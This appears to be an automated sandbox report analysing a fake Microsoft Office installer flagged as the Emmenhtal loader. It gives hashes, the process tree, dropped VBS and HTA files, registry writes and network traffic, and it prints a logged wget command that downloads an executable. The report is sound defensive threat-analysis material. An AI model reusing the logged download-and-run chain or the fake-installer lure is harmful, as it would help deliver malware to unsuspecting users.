File name:

Office-2019-Word-Excel-Powerpoint.exe

Full analysis: https://app.any.run/tasks/8470a07a-523e-4863-8f1b-73a160dafa80
Verdict: Malicious activity
Threats:

First identified in 2024, Emmenhtal operates by embedding itself within modified legitimate Windows binaries, often using HTA (HTML Application) files to execute malicious scripts. It has been linked to the distribution of malware such as CryptBot and Lumma Stealer. Emmenhtal is typically disseminated through phishing campaigns, including fake video downloads and deceptive email attachments.

Malware Trends Tracker     >>>
Analysis date: July 02, 2025, 10:40:54
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
loader
arch-exec
emmenhtal
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections
MD5:

BBCAD7D5B427F0304ADD79D06E33D8D6

SHA1:

F53BE99801D8C727B9DAC59B128BB02B7032972E

SHA256:

AADAEE757A94939101646F1542894A93F56682E6643C06475E987B1E20C66F80

SSDEEP:

196608:hg5UGL8DxLDJjW61Qm6u/O7h/mi7RkGLT26RYKwT4:hg5bLIx3Jjhv6vhPRnZDwc

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executing a file with an untrusted certificate

      • wget.exe (PID: 4580)
      • wget.exe (PID: 304)

    • EMMENHTAL has been detected (YARA)

      • mshta.exe (PID: 4456)

  • SUSPICIOUS

    • Drops 7-zip archiver for unpacking

      • Office-2019-Word-Excel-Powerpoint.exe (PID: 2808)

    • Process drops legitimate windows executable

      • Office-2019-Word-Excel-Powerpoint.exe (PID: 2808)

    • Reads security settings of Internet Explorer

      • Office-2019-Word-Excel-Powerpoint.exe (PID: 2808)

    • Executable content was dropped or overwritten

      • Office-2019-Word-Excel-Powerpoint.exe (PID: 2808)
      • 7z.exe (PID: 6224)
      • wget.exe (PID: 4580)

    • Runs shell command (SCRIPT)

      • mshta.exe (PID: 4456)

    • There is functionality for taking screenshot (YARA)

      • Office-2019-Word-Excel-Powerpoint.exe (PID: 2808)

  • INFO

    • Checks supported languages

      • Office-2019-Word-Excel-Powerpoint.exe (PID: 2808)
      • 7z.exe (PID: 6224)
      • wget.exe (PID: 4580)
      • wget.exe (PID: 304)

    • Reads the computer name

      • Office-2019-Word-Excel-Powerpoint.exe (PID: 2808)
      • wget.exe (PID: 4580)

    • The sample compiled with english language support

      • Office-2019-Word-Excel-Powerpoint.exe (PID: 2808)

    • Create files in a temporary directory

      • Office-2019-Word-Excel-Powerpoint.exe (PID: 2808)
      • 7z.exe (PID: 6224)
      • wget.exe (PID: 4580)

    • Process checks computer location settings

      • Office-2019-Word-Excel-Powerpoint.exe (PID: 2808)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 4456)

    • Checks proxy server information

      • mshta.exe (PID: 4456)
      • slui.exe (PID: 3780)

    • Reads the machine GUID from the registry

      • wget.exe (PID: 4580)

    • The sample compiled with russian language support

      • wget.exe (PID: 4580)

    • Manual execution by a user

      • wget.exe (PID: 304)

    • Reads the software policy settings

      • slui.exe (PID: 3780)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable MS Visual C++ (generic) (67.4)
.dll | Win32 Dynamic Link Library (generic) (14.2)
.exe | Win32 Executable (generic) (9.7)
.exe | Generic Win/DOS Executable (4.3)
.exe | DOS Executable Generic (4.3)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2009:08:16 11:05:43+00:00
ImageFileCharacteristics: No relocs, Executable, 32-bit
PEType: PE32
LinkerVersion: 9
CodeSize: 48640
InitializedDataSize: 136192
UninitializedDataSize: -
EntryPoint: 0x912e
OSVersion: 5
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
145
Monitored processes
10
Malicious processes
2
Suspicious processes
2

Behavior graph

Click at the process to see the details
start office-2019-word-excel-powerpoint.exe #EMMENHTAL mshta.exe no specs 7z.exe conhost.exe no specs wget.exe conhost.exe no specs wget.exe no specs conhost.exe no specs slui.exe office-2019-word-excel-powerpoint.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
304"C:\Users\admin\Desktop\wget.exe" C:\Users\admin\Desktop\wget.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
1
Modules
Images
c:\users\admin\desktop\wget.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\advapi32.dll
316"C:\Users\admin\Desktop\Office-2019-Word-Excel-Powerpoint.exe" C:\Users\admin\Desktop\Office-2019-Word-Excel-Powerpoint.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221226540
Modules
Images
c:\users\admin\desktop\office-2019-word-excel-powerpoint.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
2808"C:\Users\admin\Desktop\Office-2019-Word-Excel-Powerpoint.exe" C:\Users\admin\Desktop\Office-2019-Word-Excel-Powerpoint.exe
explorer.exe
User:
admin
Integrity Level:
HIGH
Modules
Images
c:\users\admin\desktop\office-2019-word-excel-powerpoint.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\aclayers.dll
3780C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
4112\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—7z.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4456"C:\Windows\SysWOW64\mshta.exe" "C:\Users\admin\AppData\Local\Temp\RarSFX0\start.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} C:\Windows\SysWOW64\mshta.exe
Office-2019-Word-Excel-Powerpoint.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft (R) HTML Application host
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
4580"C:\Users\admin\AppData\Local\Temp\RarSFX0\wget.exe" -O down.exe https://download.yandex.ru/yandex-pack/downloader/downloader.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\wget.exe
mshta.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\rarsfx0\wget.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\advapi32.dll
5060\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—wget.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6224"C:\Users\admin\AppData\Local\Temp\RarSFX0\7z.exe" x wget.zip -aoaC:\Users\admin\AppData\Local\Temp\RarSFX0\7z.exe
mshta.exe
User:
admin
Company:
Igor Pavlov
Integrity Level:
HIGH
Description:
7-Zip Console
Exit code:
0
Version:
4.57
Modules
Images
c:\users\admin\appdata\local\temp\rarsfx0\7z.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll
6372\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—wget.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
7 024
Read events
7 019
Write events
5
Delete events
0

Modification events

(PID) Process:(2808) Office-2019-Word-Excel-Powerpoint.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.hta\OpenWithProgids
Operation:writeName:htafile
Value:
(PID) Process:(4456) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(4456) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(4456) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
Executable files
5
Suspicious files
3
Text files
12
Unknown types
0

Dropped files

PID
Process
Filename
Type
2808Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\Linkf.zipcompressed
MD5:53E6A02CC1A922184E2E360D254310A5
SHA256:FEAD2F25DE0A845ECD6D468DE45A69DA0A197A482EC317FE6B7810EFD501D6DC
2808Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\img\master-logo.pngimage
MD5:DCD58D02C346D2AE1A2E7E783A451692
SHA256:A0545E726904F6C8EA299ED374992A426913981B662160E517785661BA4A4689
2808Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\7z.exeexecutable
MD5:2D1C72072FEC74FB0ECA850EF8F9F93E
SHA256:B93149E44239DBDD5E6705C73AE14EE11285923E963E41E8D142E4171F20F4EB
2808Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\7z.dllexecutable
MD5:AACD9B8E5E5E369C3518B86486CFC9D4
SHA256:E876CAB250EB2B0AAB976FF9922A3945E2B4724166B0EFB64690B46FE470CD3C
2808Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\gtea.vbstext
MD5:FD1C46C0CBE4B12C47C35C55058FDC4F
SHA256:162E2C4989DA50FDCB327B1384C1B450EAB42932E2A51C282A24CD736D09E9FF
2808Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\gteb.vbstext
MD5:A35D8B39A8F2ACAEF3849D7930EDA985
SHA256:7203FA1C184E1B5A42CB1D440461B7107E1B1CFF8CB1D1793E273D4D361576AE
2808Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\gtec.vbstext
MD5:100DAC90D760FFF0DF7EFE91DC516858
SHA256:5BA9F54CCC7B1E8C309A146A539436934B63E5239BA7D56824281351B541B6C1
2808Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\icon.icoimage
MD5:12D9707D3BD5A5473561249BE43EEF46
SHA256:B450161D99C31A95F2C7F0E912385DC718996E4590526D17CFCF674BAB9C9195
2808Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\img\logo-offer.pngimage
MD5:072679C20456E6B83EA3707A7C4E7B6F
SHA256:8A0087C2D38FA04F54E2F8A39310EB6FBDC8849C61A55AE235D4B121052A2E6A
2808Office-2019-Word-Excel-Powerpoint.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\img\log-game.pngimage
MD5:0FD141306E06EF59CABCE6F76D4F3D7E
SHA256:F19B0E9FEFD718789D8316566AED028B13F43955071F2A4C422EA5C09FBDBEFA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
39
TCP/UDP connections
46
DNS requests
21
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2148
RUXIMICS.exe
GET
200
2.16.241.12:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
1268
svchost.exe
GET
200
2.16.241.12:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5944
MoUsoCoreWorker.exe
GET
200
2.16.241.12:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5944
MoUsoCoreWorker.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
1268
svchost.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
2148
RUXIMICS.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
302
37.9.116.45:443
https://download.yandex.ru/yandex-pack/downloader/downloader.exe
unknown
—
—
—
—
—
GET
200
5.45.200.109:443
https://cloudcdn-fra-02.cdn.yandex.net/download.yandex.ru/yandex-pack/downloader/downloader.exe?lid=11
unknown
executable
203 Kb
whitelisted
—
—
POST
200
20.190.159.73:443
https://login.live.com/RST2.srf
unknown
xml
1.24 Kb
whitelisted
—
—
POST
400
20.190.159.73:443
https://login.live.com/ppsecure/deviceaddcredential.srf
unknown
text
203 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
5944
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
1268
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2148
RUXIMICS.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5944
MoUsoCoreWorker.exe
2.16.241.12:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
1268
svchost.exe
2.16.241.12:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
2148
RUXIMICS.exe
2.16.241.12:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
5944
MoUsoCoreWorker.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
1268
svchost.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 51.124.78.146
whitelisted
google.com
  • 142.250.185.238
whitelisted
crl.microsoft.com
  • 2.16.241.12
  • 2.16.241.14
  • 2.16.168.114
  • 2.16.168.124
whitelisted
www.microsoft.com
  • 95.101.149.131
  • 2.23.246.101
whitelisted
download.yandex.ru
  • 37.9.64.225
whitelisted
cloudcdn-fra-02.cdn.yandex.net
  • 5.45.200.109
whitelisted
login.live.com
  • 40.126.31.0
  • 20.190.159.23
  • 20.190.159.130
  • 40.126.31.1
  • 40.126.31.3
  • 20.190.159.75
  • 40.126.31.67
  • 20.190.159.71
whitelisted
nexusrules.officeapps.live.com
  • 52.111.229.43
whitelisted
slscr.update.microsoft.com
  • 4.175.87.197
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 13.95.31.18
whitelisted

Threats

PID
Process
Class
Message
—
—
Potentially Bad Traffic
ET INFO Wget Request for Executable
—
—
Potential Corporate Privacy Violation
ET INFO PE EXE or DLL Windows file download HTTP
—
—
Misc activity
ET INFO Packed Executable Download
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Office-2019-Word-Excel-Powerpoint.exe